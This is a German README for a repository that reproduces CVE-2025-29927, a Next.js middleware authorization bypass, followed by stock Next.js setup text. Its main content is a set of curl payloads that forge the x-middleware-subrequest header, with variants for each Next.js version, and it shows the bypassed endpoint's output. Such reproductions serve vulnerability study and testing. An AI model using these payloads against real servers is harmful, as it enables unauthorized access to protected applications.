
Reproduktion von CVE-2025-29927 Autorisierungsumgehung in Next.js Middleware, mit curl-basierten Exploitation-Payloads für mehrere Versionen.
Dieses Repository reproduziert die Sicherheitslücke CVE-2025-29927 im next-Paket.
/api/hello verweigert$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5x in den speziellen Header verschachteln:x-middleware-subrequestcurl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Die Next.js-Versionen 12 und 13 hatten eine andere Namenskonvention für die Middleware-Datei (_middleware.js), die in Next.js 14 in middleware.js geändert wurde. Diese Sicherheitslücke kann in älteren Versionen durch Verwendung der Datei _middleware.js ausgenutzt werden.
Zum Beispiel würden die folgenden Payloads je nach Next.js-Version und Ihrer Routing-Konvention angewendet:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (für Next.js-Versionen 12.2 mit der Datei middleware.js im Stammverzeichnis der App, nicht im pages-Verzeichnis)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (für Next.js-Versionen 11 bis 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloFühren Sie zunächst den Entwicklungsserver aus:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Öffnen Sie http://localhost:3000 in Ihrem Browser, um das Ergebnis anzuzeigen.
Sie können mit der Bearbeitung der Seite beginnen, indem Sie app/page.js ändern. Die Seite wird automatisch aktualisiert, während Sie die Datei bearbeiten.
Dieses Projekt verwendet next/font, um die neue Schriftfamilie Geist für Vercel automatisch zu optimieren und zu laden.
Um mehr über Next.js zu erfahren, werfen Sie einen Blick auf die folgenden Ressourcen:
Sie können sich das Next.js GitHub-Repository ansehen – Ihr Feedback und Ihre Beiträge sind willkommen!
Der einfachste Weg, Ihre Next.js-App bereitzustellen, ist die Nutzung der Vercel-Plattform von den Erstellern von Next.js.
Weitere Einzelheiten finden Sie in unserer Next.js-Bereitstellungsdokumentation.